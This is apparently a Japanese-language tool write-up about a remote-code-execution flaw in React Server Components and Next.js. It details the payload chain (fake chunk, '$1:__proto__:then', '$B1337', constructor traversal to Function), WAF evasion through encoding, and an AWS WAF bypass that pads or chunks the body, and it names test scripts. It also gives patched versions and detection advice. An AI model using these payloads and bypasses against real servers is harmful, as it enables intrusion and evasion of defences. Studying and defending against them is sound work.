エクスプロイトの流れ```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

自己参照的なThenable（then）

then: "$1:__proto__:then" は、実際の関数に解決される自己参照を作成します:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) は this._response - 攻撃者の偽の _response を使用します：```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Stage 1: 外部オブジェクトの自己参照的な then がチャンク処理をトリガーします

Stage 2: Reactがモデルを解決するとき、value を解析し、then: "$B1337" を持つ別のthenableに遭遇します。$B プレフィックスがハンドラをトリガーします：```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

Reactの内部コードは、処理中に response._chunks.get() または response._chunks.has() にアクセスすることがあります。空のMapはこれらの呼び出しをエラーなく満たし、脆弱な $B ハンドラに実行が到達することを可能にします。

脆弱なコードパス

decodeReply() はエントリポイントであり、それ自体は脆弱ではありません。

パストラバーサル (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty check in getOutlinedModel() - プロトタイプの走査をブロックします。 ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. __proto__ handling in reviveModel() - プロトタイプ汚染を防ぎます ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. initializeModelChunk()における型チェック - リスナーを検証します ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

影響とバージョン

影響評価

影響を受けるバージョン

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: 同じバージョン
• Next.js: 15.x, 16.x (パッチ前), 14.3.0-canary.77+からのカナリア版

修正済みバージョン

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

シグネチャベースのWAF検出が失敗する理由

このセクションでは、従来のパターンマッチングWAFルールがこのエクスプロイトを確実に検出できない理由を説明します。これらの制限を理解することは、防御態勢を評価するセキュリティチームにとって重要です。

核心の問題：複数レイヤーでのエンコーディング

エクスプロイトペイロードは複数のパーサーを通過し、各パーサーは異なるエンコーディングをサポートしています。生のHTTPバイトを検査するWAFはエンコードされた文字列を見ますが、サーバーは処理前にそれらをデコードします：

これにより根本的な不一致が生じます: WAFはエンコードされたバイトを見ますが、アプリケーションはデコードされた文字列を見ます。

シグネチャが一致させる必要があるもの

単純なWAFはconstructor、__proto__、resolved_model、child_processなどのパターンを探すかもしれません。しかし、JSONは任意の文字に対してUnicodeエスケープを許可しています：

ペイロード内のJavaScriptコードにはさらに多くのエンコーディングオプションがあります：

検出のギャップ

すべてのエンコーディング手法を組み合わせると：

• JSONキーがUnicodeシーケンスになる (\u0074\u0068\u0065\u006e は then の例)
• JS識別子が数値配列になる (S(99,104,105,108,100,95,...) は child_process の例)
• 生のペイロードには認識可能なキーワードがまったく含まれない

HTTPボディをスキャンするWAFは、エスケープシーケンスと数字だけを見ます - 従来の攻撃シグネチャに一致するものは何もありません。

防御者にとっての重要性

1. シグネチャベースのルールは誤った自信を与える - ペイロードは検出されずにサーバーに到達する
2. エンコーディングは無限 - すべての文字は異なる方法でエスケープ可能；正規表現ですべてのバリアントを列挙することはできない
3. 攻撃はプロトコル準拠 - すべてのエンコーディングは仕様に従った有効なJSON/JavaScriptである

ヘッダー検出の考慮事項

Next-ActionヘッダーはServer Actionリクエストを識別します。ヘッダー名はUnicodeエンコードできませんが (RFC 7230はASCIIトークンを要求)、WAFとサーバー間の正規化の違いが検出のギャップを生み出します：

防御の推奨事項

パッチ適用が唯一の信頼できる緩和策です。 エンコーディングの柔軟性のため、WAFルールはこの攻撃を包括的にブロックできません。

必要なバージョン:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

パッチ適用が遅れる場合、以下を検討してください：

1. マッチング前にデコード - WAFはパターンマッチングの前に \uXXXX、\xXX をデコードし、fromCharCode() 呼び出しを正規化する必要があります
2. 構造的検出 - _response、_prefix、_chunks、または循環参照 ($@0) を含むJSON構造を探します
3. ヘッダーの正規化 - next-action ヘッダーを大文字小文字を区別せずにマッチングし、空白をトリミングします
4. Server Actionをブロック - Server Actionを使用していない場合、Next-Action ヘッダーがあるリクエストを完全にブロックします
5. ランタイム監視 - 動的文字列引数を持つ Function() 呼び出しでアラートを発生させます

重要な教訓: パターンマッチングだけではこのクラスの攻撃には失敗します。エンコーディングの表面積が大きすぎて列挙できません。

AWS WAF ボディ検査制限のバイパス

包括的なWAFルールがあっても、AWS WAFには悪用可能なボディ検査サイズ制限があります。このセクションでは、過大なペイロードを使用したテスト済みのバイパス手法を文書化します。

ボディ検査の制限

AWS WAFはリクエストボディの一部のみを検査します：

OversizeHandling の問題

WAFルールは、検査制限を超えるリクエストの処理方法を指定します：

WAFルールで OversizeHandling: CONTINUE が使用されている場合 (一般的なデフォルト)、バイパスは簡単です。

バイパス戦略：ペイロード前のパディング

エクスプロイトペイロードの前に無害なパディングデータを配置し、検査ウィンドウの外側に置きます：``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

チャンク間で分割されたパターン:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

WAFの動作に関する考慮事項

注: AWS WAFは通常、検査前にチャンク化されたボディを再構成します。ただし、これは環境ごとに確認する必要があります。設定は異なるためです。

緩和策の推奨事項

1. OversizeHandling を MATCH に変更 ```json "OversizeHandling": "MATCH"
   root@kitploit:~

This blocks any request exceeding the inspection limit when rule conditions are met.

2. Increase body inspection limit (CloudFront/API Gateway only) Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.

3. Add size-based blocking rule Block POST requests with Next-Action header exceeding a reasonable size (e.g., 10KB).

4. Patch the application - The only complete solution.

Test Scripts

See included test scripts:

• test-simple.cjs - Baseline non-chunked payload test
• test-oversize.cjs - Tests padding sizes from 0-128KB
• test-chunked-v2.cjs - Chunked transfer encoding with $@ split
• test-chunked-bypass.cjs - Multiple chunking strategies (5-byte, 10-byte, pattern splits)

Usage:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

With payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

ブロックされた経路の試行

Function を取得できましたが、RCEを達成するには制御された引数でそれを呼び出す必要があります。以下の経路は失敗しました:

1. Thenable パス（ブロック済み）```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. イテレータパス（ブロック済み）```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute